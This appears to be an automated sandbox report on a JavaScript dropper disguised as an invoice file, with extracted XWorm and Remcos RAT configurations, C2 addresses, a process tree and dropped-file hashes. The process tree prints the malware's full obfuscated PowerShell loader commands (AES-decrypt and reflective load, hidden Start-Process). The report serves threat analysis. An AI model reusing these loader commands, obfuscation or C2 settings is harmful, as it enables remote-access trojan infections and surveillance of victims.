Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/08/2026, 13:45

General

  • Target
    Statement of Account (SOA).xlx.js
  • Size 607KB
  • Sample260828-q2nvraytes
  • SHA256 4f53a3a7829566a809a4099715d85c4bda28fd4fc0e56daaa0e542678c55b878
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • 169.58.169.10:7004

Mutex
  • BrJx77lWwrTOBp0t

Attributes
  • install_file

    USB.exe

aes.plain

Extracted

Family
  • remcos

Version
  • 7.2.6 Pro

Botnet
  • RemoteHost

C2
  • 15.204.115.143:2404

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    true

  • hide_keylog_file

    true

  • install_flag

    true

  • keylog_crypt

    true

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-1A8F18

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Extracted

Family
  • remcos

Version
  • 7.3.0 Pro

Botnet
  • RemoteHost

C2
  • 15.204.115.143:2404

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    true

  • install_flag

    false

  • keylog_crypt

    true

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-6HOOF3

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Extracted

Family
  • remcos

Version
  • 7.3.1 Pro

Botnet
  • RemoteHost

C2
  • 15.204.115.143:2404

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    service.exe

  • copy_folder

    System

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    true

  • install_flag

    true

  • keylog_crypt

    true

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-GGFXT5

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Adds policy Run key to start application 2 TTPs 4 IoCs
  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 8 IoCs
  • Adds Run key to start application 2 TTPs 9 IoCs
  • SmartAssembly .NET packer 1 IoCs

    Detects SmartAssembly .NET packer.

  • Suspicious use of SetThreadContext 3 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Statement of Account (SOA).xlx.js"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5540
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" --headless "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -EncodedCommand JABzAGEATAB4AEsAQgA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA0ADEANAA2ACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJAB5AEwASAB6AGQAegA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA5ADQANwA5ACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJABYAGEASABtAEwASAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAHMAYQBMAHgASwBCACkAKwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABUAGUAeAB0ACgAJAB5AEwASAB6AGQAegApADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABzAGEATAB4AEsAQgAsACQAeQBMAEgAegBkAHoAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAMAA7ACQAcgBuAG0AQQB4AGsAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAWABhAEgAbQBMAEgAKQA7ACQAagBlAGYATgBoAFcAPQAnAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByACcAKwAnAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBNAGEAbgBhAGcAZQBkACcAOwAkAEIARABHAHUARABzAD0AWwB0AHkAcABlAF0AKAAnAEEAYwB0AGkAdgAnACsAJwBhAHQAbwByACcAKQA7ACQAQgBEAEcAdQBEAHMAPQAkAEIARABHAHUARABzADoAOgAoACcAQwByAGUAYQB0AGUASQBuAHMAdABhACcAKwAnAG4AYwBlACcAKQAoAFsAdAB5AHAAZQBdACQAagBlAGYATgBoAFcAKQA7ACQAbQBsAGQAdgBDAHcAPQA3ADAANQA4ADIAOwAkAEIARABHAHUARABzAC4ATQBvAGQAZQA9ADEAOwAkAFAAaQBDAGgAZgBkAD0AJwB4AHcAUQBwAGkARQAnADsAJABuAHUAbABsAD0AJABQAGkAQwBoAGYAZAAuAEwAZQBuAGcAdABoADsAJABCAEQARwB1AEQAcwAuAFAAYQBkAGQAaQBuAGcAPQAyADsAJABZAGIAWgBBAGcAawA9ADQAMQA1ADIAOwAkAFoAQgBUAE0AegBoAD0AJABZAGIAWgBBAGcAawAqADgAKwAxADMAOwAkAEIARABHAHUARABzAC4ASwBlAHkAPQBbAGIAeQB0AGUAWwBdAF0AQAAoADAAeABGADEALAAwAHgANQBEACwAMAB4ADcARgAsADAAeAA3ADcALAAwAHgAOQAyACwAMAB4ADIAQQAsADAAeAA4ADQALAAwAHgANQBGACwAMAB4ADgAMQAsADAAeABCADQALAAwAHgANQAyACwAMAB4AEUAMQAsADAAeABEAEYALAAwAHgAOQBBACwAMAB4ADUAMwAsADAAeAA0ADIAKQA7ACQAQgBEAEcAdQBEAHMALgBJAFYAPQBbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA3ADcALAAwAHgAQwBGACwAMAB4AEIANwAsADAAeAA5ADAALAAwAHgAMQBEACwAMAB4AEQAOAAsADAAeAA5AEQALAAwAHgAMgBBACwAMAB4AEQAMgAsADAAeAA1ADgALAAwAHgAMwA3ACwAMAB4ADYAMAAsADAAeABFADcALAAwAHgAMwBBACwAMAB4ADkAMAAsADAAeAAxADMAKQA7ACQAdQBsAFgAVwB2AHYAPQA5ADgANAAxADsAJABXAEUAWAB3AHMAVAA9ACQAdQBsAFgAVwB2AHYAKgA0ACsANgA1ADsAJABWAEYAUwBoAEgATQA9ACcAQwByAGUAYQB0AGUARABlACcAKwAnAGMAcgB5AHAAdABvAHIAJwA7ACQAdwBUAEQARgBLAHoAPQAkAEIARABHAHUARABzAC4AJABWAEYAUwBoAEgATQAoACkAOwAkAE8AagBjAGIAVQBlAD0AQAAoADEAMwAwACwANwA5ACwAMwAxACkAOwAkAG4AdQBsAGwAPQAkAE8AagBjAGIAVQBlAC4AQwBvAHUAbgB0ADsAJABhAFMAaQBMAGQATAA9ACcAVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AJwArACcAYQBsACcAKwAnAEIAbABvAGMAawAnADsAJABLAFkAYgBuAFYAWAA9ACQAdwBUAEQARgBLAHoALgAkAGEAUwBpAEwAZABMACgAJAByAG4AbQBBAHgAawAsADAALAAkAHIAbgBtAEEAeABrAC4ATABlAG4AZwB0AGgAKQA7ACQATwB0AGYAYwBGAEQAPQAnAHoATABPAGkAaQBYACcAOwAkAG4AdQBsAGwAPQAkAE8AdABmAGMARgBEAC4ATABlAG4AZwB0AGgAOwAkAHUAVQBTAHIAWAB4AD0AJwBTAHkAJwArACcAcwB0ACcAKwAnAGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACcAOwAkAHEATwBOAFQAUABQAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQAdQBVAFMAcgBYAHgAKAAsACQASwBZAGIAbgBWAFgAKQA7ACQAUwBhAHIAbgBwAGkAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJAB1AFUAUwByAFgAeAA7ACQAegBnAGsAQgB6AFUAPQAyADAAMQA1ADsAJAB6AGkAaQBWAGMATgA9ACQAegBnAGsAQgB6AFUAKgAyACsANQA1ADsAJABhAGgAZABGAFMAUwA9ACcAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAFoAJwArACcAaQBwAFMAdAAnACsAJwByAGUAYQBtACcAOwAkAGMARQBYAFEAZgBKAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQAYQBoAGQARgBTAFMAKAAkAHEATwBOAFQAUABQACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAcAB4AFcAaQBLAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAA0ADAAOQA2ADsAdwBoAGkAbABlACgAKAAkAGIAVwBKAFQAUQB5AD0AJABjAEUAWABRAGYASgAuAFIAZQBhAGQAKAAkAHAAeABXAGkASwBoACwAMAAsACQAcAB4AFcAaQBLAGgALgBMAGUAbgBnAHQAaAApACkALQBnAHQAIAAwACkAewAkAFMAYQByAG4AcABpAC4AVwByAGkAdABlACgAJABwAHgAVwBpAEsAaAAsADAALAAkAGIAVwBKAFQAUQB5ACkAfQA7ACQAaQBGAHkAeQBJAEIAPQBbAE0AYQB0AGgAXQA6ADoARgBsAG8AbwByACgAMwA1ADUANQAvADEAOQApADsAJABLAFkAYgBuAFYAWAA9ACQAUwBhAHIAbgBwAGkALgBUAG8AQQByAHIAYQB5ACgAKQA7ACQATwBFAFcAUgBIAGQAPQBbAHQAeQBwAGUAXQAoACcAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAJwArACcAZQBtACcAKwAnAGIAbAB5ACcAKQA7ACQAaQBvAG8AeAByAFoAPQAkAE8ARQBXAFIASABkADoAOgAoACcATABvACcAKwAnAGEAZAAnACkAKAAkAEsAWQBiAG4AVgBYACkAOwAkAEkAUwBwAGsAZQB1AD0AJwBFAG4AdAByACcAKwAnAHkAUAAnACsAJwBvAGkAJwArACcAbgB0ACcAOwAkAGcAWQBrAFMAZABrAD0AJABpAG8AbwB4AHIAWgAuACQASQBTAHAAawBlAHUAOwAkAGcAWQBrAFMAZABrAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAoACwAWwBzAHQAcgBpAG4AZwBbAF0AXQBAACgAKQApACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3152
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -EncodedCommand JABzAGEATAB4AEsAQgA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA0ADEANAA2ACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJAB5AEwASAB6AGQAegA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA5ADQANwA5ACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJABYAGEASABtAEwASAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAHMAYQBMAHgASwBCACkAKwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABUAGUAeAB0ACgAJAB5AEwASAB6AGQAegApADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABzAGEATAB4AEsAQgAsACQAeQBMAEgAegBkAHoAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAMAA7ACQAcgBuAG0AQQB4AGsAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAWABhAEgAbQBMAEgAKQA7ACQAagBlAGYATgBoAFcAPQAnAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByACcAKwAnAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBNAGEAbgBhAGcAZQBkACcAOwAkAEIARABHAHUARABzAD0AWwB0AHkAcABlAF0AKAAnAEEAYwB0AGkAdgAnACsAJwBhAHQAbwByACcAKQA7ACQAQgBEAEcAdQBEAHMAPQAkAEIARABHAHUARABzADoAOgAoACcAQwByAGUAYQB0AGUASQBuAHMAdABhACcAKwAnAG4AYwBlACcAKQAoAFsAdAB5AHAAZQBdACQAagBlAGYATgBoAFcAKQA7ACQAbQBsAGQAdgBDAHcAPQA3ADAANQA4ADIAOwAkAEIARABHAHUARABzAC4ATQBvAGQAZQA9ADEAOwAkAFAAaQBDAGgAZgBkAD0AJwB4AHcAUQBwAGkARQAnADsAJABuAHUAbABsAD0AJABQAGkAQwBoAGYAZAAuAEwAZQBuAGcAdABoADsAJABCAEQARwB1AEQAcwAuAFAAYQBkAGQAaQBuAGcAPQAyADsAJABZAGIAWgBBAGcAawA9ADQAMQA1ADIAOwAkAFoAQgBUAE0AegBoAD0AJABZAGIAWgBBAGcAawAqADgAKwAxADMAOwAkAEIARABHAHUARABzAC4ASwBlAHkAPQBbAGIAeQB0AGUAWwBdAF0AQAAoADAAeABGADEALAAwAHgANQBEACwAMAB4ADcARgAsADAAeAA3ADcALAAwAHgAOQAyACwAMAB4ADIAQQAsADAAeAA4ADQALAAwAHgANQBGACwAMAB4ADgAMQAsADAAeABCADQALAAwAHgANQAyACwAMAB4AEUAMQAsADAAeABEAEYALAAwAHgAOQBBACwAMAB4ADUAMwAsADAAeAA0ADIAKQA7ACQAQgBEAEcAdQBEAHMALgBJAFYAPQBbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA3ADcALAAwAHgAQwBGACwAMAB4AEIANwAsADAAeAA5ADAALAAwAHgAMQBEACwAMAB4AEQAOAAsADAAeAA5AEQALAAwAHgAMgBBACwAMAB4AEQAMgAsADAAeAA1ADgALAAwAHgAMwA3ACwAMAB4ADYAMAAsADAAeABFADcALAAwAHgAMwBBACwAMAB4ADkAMAAsADAAeAAxADMAKQA7ACQAdQBsAFgAVwB2AHYAPQA5ADgANAAxADsAJABXAEUAWAB3AHMAVAA9ACQAdQBsAFgAVwB2AHYAKgA0ACsANgA1ADsAJABWAEYAUwBoAEgATQA9ACcAQwByAGUAYQB0AGUARABlACcAKwAnAGMAcgB5AHAAdABvAHIAJwA7ACQAdwBUAEQARgBLAHoAPQAkAEIARABHAHUARABzAC4AJABWAEYAUwBoAEgATQAoACkAOwAkAE8AagBjAGIAVQBlAD0AQAAoADEAMwAwACwANwA5ACwAMwAxACkAOwAkAG4AdQBsAGwAPQAkAE8AagBjAGIAVQBlAC4AQwBvAHUAbgB0ADsAJABhAFMAaQBMAGQATAA9ACcAVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AJwArACcAYQBsACcAKwAnAEIAbABvAGMAawAnADsAJABLAFkAYgBuAFYAWAA9ACQAdwBUAEQARgBLAHoALgAkAGEAUwBpAEwAZABMACgAJAByAG4AbQBBAHgAawAsADAALAAkAHIAbgBtAEEAeABrAC4ATABlAG4AZwB0AGgAKQA7ACQATwB0AGYAYwBGAEQAPQAnAHoATABPAGkAaQBYACcAOwAkAG4AdQBsAGwAPQAkAE8AdABmAGMARgBEAC4ATABlAG4AZwB0AGgAOwAkAHUAVQBTAHIAWAB4AD0AJwBTAHkAJwArACcAcwB0ACcAKwAnAGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACcAOwAkAHEATwBOAFQAUABQAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQAdQBVAFMAcgBYAHgAKAAsACQASwBZAGIAbgBWAFgAKQA7ACQAUwBhAHIAbgBwAGkAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJAB1AFUAUwByAFgAeAA7ACQAegBnAGsAQgB6AFUAPQAyADAAMQA1ADsAJAB6AGkAaQBWAGMATgA9ACQAegBnAGsAQgB6AFUAKgAyACsANQA1ADsAJABhAGgAZABGAFMAUwA9ACcAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAFoAJwArACcAaQBwAFMAdAAnACsAJwByAGUAYQBtACcAOwAkAGMARQBYAFEAZgBKAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQAYQBoAGQARgBTAFMAKAAkAHEATwBOAFQAUABQACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAcAB4AFcAaQBLAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAA0ADAAOQA2ADsAdwBoAGkAbABlACgAKAAkAGIAVwBKAFQAUQB5AD0AJABjAEUAWABRAGYASgAuAFIAZQBhAGQAKAAkAHAAeABXAGkASwBoACwAMAAsACQAcAB4AFcAaQBLAGgALgBMAGUAbgBnAHQAaAApACkALQBnAHQAIAAwACkAewAkAFMAYQByAG4AcABpAC4AVwByAGkAdABlACgAJABwAHgAVwBpAEsAaAAsADAALAAkAGIAVwBKAFQAUQB5ACkAfQA7ACQAaQBGAHkAeQBJAEIAPQBbAE0AYQB0AGgAXQA6ADoARgBsAG8AbwByACgAMwA1ADUANQAvADEAOQApADsAJABLAFkAYgBuAFYAWAA9ACQAUwBhAHIAbgBwAGkALgBUAG8AQQByAHIAYQB5ACgAKQA7ACQATwBFAFcAUgBIAGQAPQBbAHQAeQBwAGUAXQAoACcAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAJwArACcAZQBtACcAKwAnAGIAbAB5ACcAKQA7ACQAaQBvAG8AeAByAFoAPQAkAE8ARQBXAFIASABkADoAOgAoACcATABvACcAKwAnAGEAZAAnACkAKAAkAEsAWQBiAG4AVgBYACkAOwAkAEkAUwBwAGsAZQB1AD0AJwBFAG4AdAByACcAKwAnAHkAUAAnACsAJwBvAGkAJwArACcAbgB0ACcAOwAkAGcAWQBrAFMAZABrAD0AJABpAG8AbwB4AHIAWgAuACQASQBTAHAAawBlAHUAOwAkAGcAWQBrAFMAZABrAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAoACwAWwBzAHQAcgBpAG4AZwBbAF0AXQBAACgAKQApACkA
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Modifies registry class
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:6092
        • C:\Users\Admin\AppData\Local\Temp\rgpydl.exe
          "C:\Users\Admin\AppData\Local\Temp\rgpydl.exe"
          4⤵
          • Adds policy Run key to start application
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of WriteProcessMemory
          PID:2584
          • C:\ProgramData\Remcos\remcos.exe
            "C:\ProgramData\Remcos\remcos.exe"
            5⤵
            • Adds policy Run key to start application
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious use of SetThreadContext
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:5672
            • C:\Windows\system32\svchost.exe
              "C:\Windows\system32\svchost.exe"
              6⤵
                PID:2436
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\jxjewr.js"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2360
            • C:\Windows\System32\conhost.exe
              "C:\Windows\System32\conhost.exe" --headless "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoP -EP Bypass -NonInteractive -File "C:\Users\Admin\AppData\Local\Temp\1yz9mtd08u2g\1yz9mtd08u2g.ps1"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3696
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -NoP -EP Bypass -NonInteractive -File C:\Users\Admin\AppData\Local\Temp\1yz9mtd08u2g\1yz9mtd08u2g.ps1
                6⤵
                • Badlisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:6112
          • C:\Users\Admin\AppData\Local\Temp\ufmqcj.exe
            "C:\Users\Admin\AppData\Local\Temp\ufmqcj.exe"
            4⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious use of WriteProcessMemory
            PID:3796
            • C:\ProgramData\System\service.exe
              "C:\ProgramData\System\service.exe"
              5⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious use of SetWindowsHookEx
              PID:4344
          • C:\Users\Admin\AppData\Local\Temp\hxsxwq.exe
            "C:\Users\Admin\AppData\Local\Temp\hxsxwq.exe"
            4⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:4824
            • C:\Users\Admin\AppData\Local\Temp\hxsxwq.exe
              C:\Users\Admin\AppData\Local\Temp\hxsxwq.exe
              5⤵
              • Executes dropped EXE
              PID:5340
    • C:\Windows\system32\wscript.exe
      wscript.exe
      1⤵
        PID:2428
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$f0nhwi=7628;$eruqug=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$f0nhwi=7628;$10mbdl=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHJzdWxjdFZRLmV4ZQ==')));$f0nhwi=7628;& $eruqug -FilePath $10mbdl"
        1⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3200
        • C:\Users\Admin\AppData\Roaming\rsulctVQ.exe
          "C:\Users\Admin\AppData\Roaming\rsulctVQ.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:5032
          • C:\Users\Admin\AppData\Roaming\rsulctVQ.exe
            C:\Users\Admin\AppData\Roaming\rsulctVQ.exe
            3⤵
            • Executes dropped EXE
            PID:4312

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            logs.dat

            • Path C:\ProgramData\remcos\logs.dat
            • Size 204B
            • SHA256 7cc81a0d9f711c65a4674bd901b86781a509abf092db9f718961c92f4cc6671d
            • MD5 SHA1 SHA512 TLSH

            logs.dat

            • Path C:\ProgramData\remcos\logs.dat
            • Size 306B
            • SHA256 d44d6a2c46d1f4d863327b1fe7808c6fa87eb59951a24dc31997a244100a2d16
            • MD5 SHA1 SHA512 TLSH

            ModuleAnalysisCache

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 67KB
            • SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
            • MD5 SHA1 SHA512 SSDEEP TLSH

            1yz9mtd08u2g.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\1yz9mtd08u2g\1yz9mtd08u2g.ps1
            • Size 1KB
            • SHA256 41cf0feaa2f61d1f615586d820030c22e010192e1b01fe544e3db89561fd384f
            • MD5 SHA1 SHA512 TLSH

            1yz9mtd08u2ga

            • Path C:\Users\Admin\AppData\Local\Temp\1yz9mtd08u2g\1yz9mtd08u2ga
            • Size 66KB
            • SHA256 a63b70794764d42d7a641acf1481688a1f1f05df5e9e5107d3befc23a7ebe86b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            1yz9mtd08u2gb

            • Path C:\Users\Admin\AppData\Local\Temp\1yz9mtd08u2g\1yz9mtd08u2gb
            • Size 66KB
            • SHA256 1777259a842a94bd555c79551058c7b8469b1151f882d6b90e3321b65ef63d93
            • MD5 SHA1 SHA512 SSDEEP TLSH

            __PSScriptPolicyTest_fayvg4a1.wag.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fayvg4a1.wag.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            hxsxwq.exe

            • Path C:\Users\Admin\AppData\Local\Temp\hxsxwq.exe
            • Size 1.4MB
            • SHA256 b4069196449e573e9df81ba012441208a3a83931f5e1cd7814d290ddd09f94b1
            • MD5 SHA1 SHA512 SSDEEP TLSH

            jxjewr.js

            • Path C:\Users\Admin\AppData\Local\Temp\jxjewr.js
            • Size 2.0MB
            • SHA256 c813e9326857b6ac79dbaea552675d372732a0be9eef02ab41dfd453fd0d0159
            • MD5 SHA1 SHA512 SSDEEP TLSH

            rgpydl.exe

            • Path C:\Users\Admin\AppData\Local\Temp\rgpydl.exe
            • Size 626KB
            • SHA256 abf4860525b5302cd3bc4ba6a60f7b04ec801ed4729f3217b38680be7a7048f6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            smumtd085oaa

            • Path C:\Users\Admin\AppData\Local\Temp\smumtd085oa\smumtd085oaa
            • Size 67KB
            • SHA256 6c39f118d9106f3cccd382b1788dc795df1b7cf8fa5a437a44fb346660ecaca6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            smumtd085oab

            • Path C:\Users\Admin\AppData\Local\Temp\smumtd085oa\smumtd085oab
            • Size 67KB
            • SHA256 fefec78db947007e36599024df8e402aedf823320203bc55423c4352e74bbc3f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ufmqcj.exe

            • Path C:\Users\Admin\AppData\Local\Temp\ufmqcj.exe
            • Size 645KB
            • SHA256 6f55f3937b0668f756b5ecc4b2e20fd87d8a943a8154cd8a35ba84a886b08656
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/2436-57-0x0000000140000000-0x00000001400AB000-memory.dmp

            memory/4824-99-0x0000027B7E900000-0x0000027B7EA34000-memory.dmp

            memory/4824-97-0x0000027B65490000-0x0000027B654AA000-memory.dmp

            memory/4824-96-0x0000027B63470000-0x0000027B635D6000-memory.dmp

            memory/5340-103-0x0000000140000000-0x00000001400AB000-memory.dmp

            memory/6092-14-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

            memory/6092-21-0x0000013338AE0000-0x0000013338B32000-memory.dmp

            memory/6092-25-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

            memory/6092-26-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

            memory/6092-16-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

            memory/6092-17-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

